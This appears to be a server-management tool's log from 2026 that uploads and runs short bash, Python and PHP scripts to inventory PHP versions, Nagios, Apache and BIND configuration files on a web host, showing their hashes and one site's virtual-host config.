	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-02-09 14:59:35: 

chmod 755 /tmp/pkp563415; /tmp/pkp563415; rm /tmp/pkp563415



[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34


2026-02-09 14:59:36: 

PUT: /tmp/pkp190034

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-02-09 14:59:36: 

chmod 755 /tmp/pkp190034; /tmp/pkp190034; rm /tmp/pkp190034

(gzipped output)




2026-02-09 14:59:37: 

PUT: /tmp/pkp327696

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		service apache2 restart
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		service apache2 restart
	fi
	echo status=ok
fi



2026-02-09 14:59:37: 

chmod 755 /tmp/pkp327696; /tmp/pkp327696; rm /tmp/pkp327696



status=ok


2026-02-09 14:59:38: 

PUT: /tmp/pkp563442

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 14:59:38: 

chmod 755 /tmp/pkp563442; /tmp/pkp563442; rm /tmp/pkp563442

(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 93a1976f48632b7620294e371188dcdd
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
MD5(/etc/apache2/sites-available/cityelectric_www_site.conf)= 73ed9b1b6374a6ed4e7eb9339f5c27df
MD5(/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt)= e6c44632d87b0d9f6c49ff455b25d0cd
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf
link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf


2026-02-09 14:59:39: 

PUT: /tmp/pkp403887

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/cityelectric_www_site.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 14:59:39: 

chmod 755 /tmp/pkp403887; /tmp/pkp403887; rm /tmp/pkp403887

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/cityelectric_www_site.conf	1376

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAlias	www.cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAlias	www.cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>







2026-02-09 14:59:55: Establishing a connection
2026-02-09 14:59:55: 

PUT: /tmp/pkp331222

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:59:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp331222; rm /tmp/pkp331222'

2026-02-09 14:59:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= a6f5ca81adeede69c1b101c1993b263b
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:00:05: Establishing a remote connection
2026-02-09 15:00:06: Establishing a remote connection
2026-02-09 15:00:06: 

PUT: /tmp/pkp321310

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-09 15:00:06: 

